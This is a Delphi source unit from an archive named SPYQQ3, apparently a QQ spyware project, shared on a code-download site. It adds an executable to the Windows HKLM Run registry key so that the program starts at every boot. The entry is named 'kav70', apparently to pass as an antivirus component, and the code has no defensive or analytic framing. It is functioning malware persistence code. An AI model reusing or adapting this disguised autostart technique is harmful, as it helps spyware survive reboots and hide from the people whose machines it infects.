www.pudn.com > SPYQQ3.rar > RegSet.pas


unit RegSet; 
 
interface 
 
uses Windows; 
 
procedure SetupRegRun(ExeFileName : String); 
 
implementation 
 
procedure SetupRegRun(ExeFileName : String); 
    // 返回字符串长度 
  function StrLen(const Str: PChar): Cardinal; assembler; 
  asm 
        MOV     EDX,EDI 
        MOV     EDI,EAX 
        MOV     ECX,0FFFFFFFFH 
        XOR     AL,AL 
        REPNE   SCASB 
        MOV     EAX,0FFFFFFFEH 
        SUB     EAX,ECX 
        MOV     EDI,EDX 
  end; 
    // 添加注册表项目 
  procedure AddStrToReg(RootKey: HKEY; const StrPath, StrName, StrData: PChar); 
  var 
    TempKey: HKEY; 
    Disposition, DataSize: LongWord; 
  begin 
   // 打开 
    TempKey := 0; 
    Disposition := REG_CREATED_NEW_KEY; 
    RegCreateKeyEx(RootKey, StrPath, 0, nil, 0, KEY_ALL_ACCESS, nil, TempKey, @Disposition); 
   // 添加 
    DataSize := StrLen(StrData) + 1; 
    RegSetValueEx(TempKey, StrName, 0, REG_SZ, StrData, DataSize); 
   // 关闭 
    RegCloseKey(TempKey); 
  end; 
const 
  RunName = 'kav70'; 
  RunPath = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'; 
begin 
  if Length(ExeFileName) > 0 then 
    AddStrToReg(HKEY_LOCAL_MACHINE, RunPath, RunName, PChar(ExeFileName)); 
end; 
 
end.